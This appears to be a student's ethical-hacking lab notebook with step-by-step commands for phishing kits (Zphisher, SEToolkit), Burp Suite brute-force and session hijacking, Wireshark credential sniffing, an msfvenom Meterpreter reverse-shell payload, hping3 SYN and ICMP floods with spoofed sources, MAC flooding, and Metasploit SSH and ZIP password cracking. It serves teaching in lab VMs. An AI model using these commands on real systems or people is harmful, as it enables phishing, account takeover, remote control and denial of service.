

Zphisher

1. Install Zphisher:

- Open a terminal and clone the Zphisher repository:

```
git clone https://github.com/htr-tech/zphisher.git
cd zphisher
```

- Install dependencies:

```
sudo apt install python3-pip
pip3 install -r requirements.txt
```

2. Run Zphisher:

- Start the tool:

```
bash zphisher.sh
```

- Choose the phishing template you want to use (e.g., Facebook, Instagram, Google).

3. Configure the Attack:

- Select a phishing site.
- Enter the target's IP address or domain name.

4. Launch the Attack:

- Once the configuration is done, the phishing page will be hosted locally.
- The link to the phishing page will be displayed.
- Share this link with the target (ensure it's ethical and within boundaries).

SEToolkit

SEToolkit (Social Engineering Toolkit) is already installed in Kali Linux.

1. Run SEToolkit:

- Start the tool:

```
sudo setoolkit
```

2. Choose the Attack Vector:

- Select "Social-Engineering Attacks" from the main menu.
- Choose the attack you want to perform, such as phishing.

3. Set up the Phishing Attack:

- Choose "Website Attack Vectors."
- Select "Site Cloner" for phishing.
- Enter the target URL (e.g., Facebook login page).

4. Customize the Attack:

- Customize the cloned page if needed (e.g., for a specific phishing target).
- Enter the IP address for hosting the attack.

5. Launch the Attack:

- The phishing page will be hosted.
- The attacker can now wait for the target to interact with the phishing page.

Burp Suite

Brute Forcer

1. Set up Burp Suite:

- Open Burp Suite and start the "Proxy" tab.
- Make sure your browser is configured to use Burp Suite's proxy (default is `127.0.0.1:8080`).

2. Enable Intercept in Burp Suite:

- Go to the "Proxy" tab in Burp Suite.

- Ensure that the "Intercept" button is turned on.
- 3. Open the Target Website:**
 - Open your PortSwigger using the open browser button and go to the login page of the target site (e.g., `paul.nasawebtech.com`).
 - Enter the known username (`pintu`) and a random password in the login form.
 - When you click "Submit," the request will be captured by Burp Suite.
 - 4. Send the Request to Intruder:**
 - In Burp Suite, go to the "Proxy" tab and find the intercepted login request.
 - Right-click the intercepted request and choose "Send to Intruder."
 - 5. Configure Intruder Attack:**
 - Go to the "Intruder" tab and open the request you just sent.
 - In the "Positions" tab, highlight the password field (this is usually where you input the password).
 - Click the "Add" button to mark the password position as a payload.
 - 6. Set Payload for Brute Force Attack:**
 - Switch to the "Payloads" tab.
 - Choose "Brute Forcer" as the payload type.
 - In the payload list, enter `0` and `1` as possible password characters.
 - Set the password length to 5 (both minimum and maximum).
 - 7. Start the Attack:**
 - Once everything is set up, click the "Start attack" button.
 - Burp Suite will now begin brute-forcing the password using the combinations of `0` and `1`.
 - 8. Identify the Correct Password:**
 - The correct password will be the one that causes a different response length from the server compared to all the other combinations.
 - Look for the entry that has a unique response length in the attack results. This is the correct password (e.g., `10101` in your case).

Dictionary Attack

- 1. Set up Burp Suite:**

- Open Burp Suite and start the "Proxy" tab.
- Make sure your browser is configured to use Burp Suite's proxy (default is `127.0.0.1:8080`).

2. Enable Intercept in Burp Suite:

- In Burp Suite, go to the "Proxy" tab and ensure that the "Intercept" button is turned on.

3. Open the Target Website:

- Open your browser and navigate to the login page of the target website (e.g., `paul.nasawebtech.com`).
- Enter the known username (`mittu`) and a random password in the login form.
- When you click "Submit," the request will be captured by Burp Suite.

4. Send the Request to Intruder:

- In Burp Suite, go to the "Proxy" tab and locate the intercepted login request.
- Right-click the intercepted request and select "Send to Intruder."

5. Configure Intruder Attack:

- Go to the "Intruder" tab in Burp Suite and open the request that was sent.
- In the "Positions" tab, highlight the password field (usually where you enter the password).
- Click the "Add" button to mark the password field as the payload.

6. Set Payload for Dictionary Attack:

- Switch to the "Payloads" tab in the "Intruder" tab.
- Choose "Simple list" as the payload type.
- In the payload list, upload the dictionary file containing common passwords (e.g., from the [top 100 passwords list](#)).
 - Download the file to your machine.
 - In Burp Suite, click the "Load" button to select the file.
 - Or simply copy the passwords, and use the paste button to paste them there.

7. Start the Attack:

- Once everything is configured, click the "Start attack" button.

- Burp Suite will now begin attempting each password in the dictionary list (including `letmein`).

8. Identify the Correct Password:

- The correct password will be the one that results in a successful login, indicated by a different response length or status code.

Session Hijacking

Prerequisites:

- The username is `mittu` and the password is `letmein`.
- You will need Burp Suite installed and running as your proxy.

1. Set up Burp Suite:

- Open Burp Suite and start the "Proxy" tab.
- Ensure your browser is configured to use Burp Suite's proxy (default is `127.0.0.1:8080`).

2. Login to the Target Website:

- Open your browser and go to the login page (e.g., `paul.nasawebtech.com`).
- Enter the username (`mittu`) and password (`letmein`), then click "Login."
- The login request will be captured by Burp Suite in the "Proxy" tab.

3. Intercept the Request:

- In Burp Suite, ensure that the "Intercept" button in the "Proxy" tab is turned on.
- When you click "Login," the request will be intercepted by Burp Suite.

4. Forward the Request (Login):

- Once the login request is intercepted, forward it by clicking the "Forward" button in Burp Suite to send the request to the target server.
- The server will authenticate the request, and a session cookie will be generated for the user `mittu`.

5. Capture the Session Cookie:

- Once the login request is forwarded, go to the "HTTP History" tab in Burp Suite under the "Proxy" section.
- Look for the login request and find the `Set-Cookie` header in the response. This will contain the session cookie for the user `mittu`.
 - Example: `Set-Cookie: sessionid=abc123xyz456; Path=/; HttpOnly`
- Copy the session ID (e.g., `abc123xyz456`).

6. Use the Session Cookie for Hijacking:

- Now, you will impersonate the logged-in session using the copied session cookie.
- In Burp Suite, go to the "Intercept" tab and turn off interception if it is on (so that it won't capture new requests).
- Open the "Intruder" tab in Burp Suite and configure a new attack.
- In the "Intruder" tab, go to the "Positions" tab and add the session cookie in the request headers, where the session cookie needs to be placed (e.g., `Cookie: sessionid=abc123xyz456`).

7. Access the Hijacked Session:

- Send a request to a restricted page on the website that requires authentication (e.g., a user dashboard page).
- In your browser, manually insert the copied session cookie as part of the request header, or use Burp Suite to inject it.
- Example:
 - In your browser's developer tools (Network tab), look for a request to the website. Edit the `Cookie` header to include the hijacked session cookie value (`sessionid=abc123xyz456`).

8. Verify Session Hijacking:

- If the session hijacking is successful, you should have access to the user's session (e.g., the `mittu` user's account).

- This will allow you to perform actions as the authenticated user without knowing their password.
-

Password Sniffing using Wireshark

1. Install and Launch Wireshark:

- Download and install Wireshark from the official website: [Wireshark Download](#). Once installed, open Wireshark

2. Select the Network Interface:

- In Wireshark, choose the network interface that you will use to capture packets. This is typically your active network connection (e.g., Ethernet, Wi-Fi).
- Click on the interface you want to use (e.g., `Wi-Fi` or `eth0`).

3. Start Packet Capturing:

- After selecting the network interface, click the **Start** button to begin capturing network packets.
- Wireshark will now capture all the network traffic on the selected interface.

4. Access the Target Website:

- Open your web browser and go to the login page of the website (e.g., `paul.nasawebtech.com`).
- Enter the username (`mittu`) and password (`letmein`), then submit the form.

5. Filter HTTP Traffic in Wireshark:

- Once you submit the login form, Wireshark will capture the network packets related to the HTTP request.

- To filter for HTTP traffic (which includes login information), use the Wireshark filter:

```
ip.addr == 168.235.71.55 && http
```

- This filter will show only the packets related to HTTP communication, which includes web requests and responses. These packets will be associated with `paul.nasawebtech.com` only since we have filtered the `ip` as well.

6. Look for the Login Request:

- Find the HTTP POST request that was made when you submitted the login form. It will typically contain the login data, including the username and password.
- Right-click on a packet and choose **Follow** → **HTTP Form URL included** to view the full HTTP request.
- The username (`mittu`) and password (`letmein`) will be visible in the HTTP request, depending on whether the website is using **HTTP** (not HTTPS).

Accessing the Internet in Android using Kali Linux through Burp Suite

1. Components Needed

- Kali Linux (Virtual Box)
- Android Machine (VirtualBox)
 - Android ISO installed in VirtualBox
 - **Tools:** Burp Suite (on Kali Linux)

2. Steps

Step 1: Install Android ISO in VirtualBox

1. Follow [this guide](#) to install Android on VirtualBox.
2. Set the network adapter to **Internal Network**.

Step 2: Configure Network Settings

- **Kali Linux Machine (VirtualBox):**
 - **Adapter 1:** Internal Network (for communication with Android).
 - **Adapter 2:** NAT/NAT Network/Bridge (for internet access).
- **Android Virtual Machine:**
 - Set **Internal Network**.
 - Make this changes in the Wi-Fi settings of the android device:
 - Assign a **static IP** (e.g., `192.168.200.101`).
 - Set proxy to forward traffic to Burp Suite (use Kali's IP as proxy: `192.168.200.100` , port `8080`).

Step 3: Tools Used

1. **Burp Suite (on Kali Linux):** Acts as a proxy to intercept traffic.

Step 4: Kali Linux Network Setup:**

- Configure static IP for Kali (`192.168.200.100`).
- Edit `/etc/network/interfaces` :

```
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

auto eth1
iface eth1 inet static
    address 192.168.200.100/24
    network 192.168.200.0
```

3. Burp Suite Configuration:

- Set Burp Suite to listen on IP `192.168.200.100` and port `8080` to match Android proxy settings.
 - You can do this changes in the proxy settings once the turn on Burp Suite.
 - Then turn on the intercept and try to access any internet from the android.
 - You will receive the packets in the Burp Suite. Forward them and you will be able to access the internet in the Android using the Kali Linux.
-

Windows XP Meterpreter Attack Using Kali Linux

1. Components Required:

- **Kali Linux** (attacker machine)
- **Windows XP** (target machine)

2. Network Configuration:

1. Configure both **Kali Linux** and **Windows XP** VMs to use **NAT Network** mode.
 2. Verify connectivity using the `ping` command.
-

Step 1: Generate Payload on Kali Linux

1. Run **msfvenom** to create the payload:

```
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e  
x86/shikata_ga_nai LHOST=<Kali_IP> LPORT=4000 -f exe >  
sunbeam.exe
```

2. Copy this file in the `/var/www/html` directory so that you can download and run it on the Windows machine when you access the website.

```
sudo cp sunbeam.exe /var/www/html
```

Note: Make sure that you change the name of `index.html` to something else like `index2.html` in order to access the `sunbeam.exe` file.

Step 2: Set Up Listener on Kali Linux

1. Open **Metasploit Framework**:

```
msfconsole
```

2. Set up the listener:

```
bash use multi/handler set payload windows/meterpreter/reverse_tcp  
set LHOST <Kali_IP> set LPORT 4000 exploit
```

Step 3: Running the file on Windows XP

3. Try to access the web server from the `Kali Linux IP`:

```
http://<Kali_IP>
```

2. You will be able to see the `sunbeam.exe` file here.
3. Click on the file and run it.

Step 4: Access the Windows XP on Kali Linux

1. Now you will be able to access the Windows XP from your Kali Linux.
2. Try using different commands on the console to access the Windows.

Automated Scan using ZAP (ZA Proxy)

1. Install ZAP:

```
which zap  
sudo apt install zaproxy
```

```
sudo zaproxy
```

2. Setup:

- Choose **No** to persist session.
- Update if needed.
- For **Firefox**: Paste the URL in the **Automated Scan Panel**.
- Use **Traditional Spider** and keep it active.
- Click **Attack** to start the scan.

3. Post-Scan:

- Review vulnerabilities listed with the **Risk vs. Confidence Chart**.
- Generate a **ZAP Scanning Report** after completing the scan.

▲ **Note:** Only scan websites where you have explicit permission.

Password list generation using `crunch`

```
crunch 4 4 0123456789 -o password.txt
```

- Here you `4 4` is the min and max length of the password combinations while `0123456789` are the characters that are involved in the password combinations.
- `-o` : this defines that the output will be stored in a file named `password.txt`

hping3

- **Check Port Range:**

```
sudo hping3 -S --scan <port_range> <target_ip>
```

- Scans a range of ports for openness.

- **Check Specific Port:**

```
sudo hping3 -S -p 80 <target_ip>
```

- Checks if port 80 is open.

- **DoS Attack (Flooding with SYN Packets):**

```
sudo hping3 -S -p 80 <target_ip> --flood
```

- Floods the target with SYN packets.

- **SYN Flood with IP Spoofing:**

```
sudo hping3 -S -p 80 <target_ip> -a <fake_source_ip> --flood
```

- Performs SYN flood attack with IP spoofing.

Smurf Attack (ICMP Packets Flooding)

- **Flood Target with ICMP Packets:**

```
sudo hping3 --icmp <target_ip> --rand-source --flood
```

- Floods the target with ICMP packets using random source IPs.

- **Ping of Death (ICMP Flooding):**

```
sudo hping3 --icmp <broadcast_address> --rand-source --flood
```

- Floods all devices in the network using a broadcast address.

- **Prerequisite:** Use an **Ethernet cable** to connect to the network.

Commands for MAC Flooding

1. Check if `macof` is installed:

```
which macof
```

2. Get info about `macof`:

```
whatis macof
```

3. Flood switch with random MAC addresses:

```
sudo macof -i eth0
```

- Generates random MAC addresses to flood the switch, disrupting the CAM table.

nmap

1. Scan a single target with detailed info:

```
sudo nmap -A -T4 <target_ip>
```

- `-A`: OS detection, version detection, script scanning, traceroute.
- `-T4`: Faster scan speed.

2. Scan an entire network:

```
sudo nmap -A -T4 <target_network_with_netmask>
```

- Scans all devices in the network range.
-

Common Nmap Scan Types:

1. SYN Scan (-sS):

```
nmap -sS <target IP>
```

- Stealthy, fast; requires root privileges.

2. TCP Connect Scan (-sT):

```
nmap -sT <target IP>
```

- Completes TCP handshake; no root required.

3. FIN Scan (-sF):

```
nmap -sF <target IP>
```

- Can bypass firewalls; ineffective against some systems.

4. XMAS Scan (-sX):

```
nmap -sX <target IP>
```

- Bypasses filters; ineffective against some systems.

5. NULL Scan (-sN):

```
nmap -sN <target IP>
```

- Can bypass filters; ineffective on non-compliant systems.

6. Idle Scan (-sI):

```
nmap -sI <zombie IP> <target IP>
```

- Stealthy, uses a third-party host; requires suitable zombie.
-

nc

1. To open a listener (server mode):

```
nc -l <port>
```

- Listens for incoming connections on a specified port.

2. To connect to a remote server (client mode):

```
nc <target_ip> <port>
```

- Connects to a specified IP address and port.

3. To transfer a file:

- **Receiver (on target machine):**

```
nc -l <port> > <file_name>
```

- **Sender (on source machine):**

```
nc <target_ip> <port> < <file_name>
```

4. To create a simple chat (client-server mode):

- **Server (listening):**

```
nc -l 1234
```

- **Client (connecting):**

```
nc <server_ip> 1234
```


1. Create Directory & Clone Repo:

```
mkdir recon && cd recon  
git clone https://github.com/lanmaster53/recon-ng.git  
cd recon-ng
```

2. Check for Files:

- Verify the presence of a `requirements` file using `ls`.

3. Install Dependencies:

```
pip install -r requirements  
sudo apt install python3-lxml
```

4. Verify Installation:

- Check the version:

```
./recon-ng --version
```

- Run the tool:

```
./recon-ng
```

Basic Commands in Recon-ng:

1. Marketplace Commands:

- Refresh marketplace: `marketplace refresh`
- Display all packages: `marketplace info all`
- Search for a package: `marketplace search <package>`
- Install package: `marketplace install <package>`

2. Module Commands:

- Load a module: `modules load <module>`
- List options: `options list`

- Set option: `options set SOURCE <target>`
- Run module: `run`

3. Show Commands:

- Display info: `show ports`, `show hosts`, `show credentials`, etc.

4. Get Summary of Results:

```
dashboard
```

5. Get Help:

```
help
```

theHarvester

- `theHarvester -d <domain> -l 100 -b google`: Collects 100 results from Google for the specified domain.
- `theHarvester -d <domain> -b all`: Gathers information from all supported search engines.
- `theHarvester -d <domain> -b bing -f report.html`: Fetches data from Bing and saves it as an HTML report.

SSH Password Cracking Brute Force

Environment Preparation:

1. Have two virtual machines (Kali or Debian-based).
 2. One acts as **target** (SSH service running), other as **attacker** (Metasploit running).
 3. Ensure both machines are on the same network and can ping each other.
-

Steps to Perform Brute Force Attack:

1. Start Metasploit on Attacker Machine:

```
msfconsole
```

2. Load SSH Login Module:

```
use auxiliary/scanner/ssh/ssh_login
```

3. Set Target Parameters:

```
set RHOSTS <Target_IP>  
set USERNAME <username>
```

4. Specify Password List:

```
set PASS_FILE password.txt
```

5. Set Threads:

```
set THREADS 4
```

6. Start Attack:

```
run
```

7. Analyze Results: If successful, you'll see:

```
[SUCCESS] <Target_IP>:22 - Success: '<username>:<password>'
```

Cracking ZIP file password using fcrackzip

1. Prepare Environment:

1. Install fcrackzip:

```
sudo apt install fcrackzip
```

2. Create a Password-Protected ZIP File (Optional):

```
bash zip -e test.zip testfile.txt
```

2. Locate/Create Wordlist:

- Create Custom Wordlist:

```
crunch 4 4 0123456789 -o custom_wordlist.txt
```

3. Brute Force ZIP File:

1. Run the attack:

```
fcrackzip -u -D -p /path/to/wordlist.txt /path/to/zipfile.zip
```

2. Example:

```
bash fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt test.zip
```

4. Analyze Results:

If successful, it will show:

```
PASSWORD FOUND!!!!: pw == <password>
```

Nessus

1. Install Nessus

1. Run the installer and follow the instructions.

2. Start the Nessus service (if not automatic):

```
bash services.msc
```

2. Access Web Interface

3. Open browser and go to `http://localhost:8834`.
4. Set up an admin account and register Nessus with the activation code.

4. Configure Nessus

5. Nessus will update plugins automatically.
6. After updates, it's ready for use.

5. Perform a Vulnerability Scan

7. Create a new scan under **Scans > New Scan**.
 8. Configure the scan (target IP, credentials if needed).
 9. Start the scan and analyze results when done.
-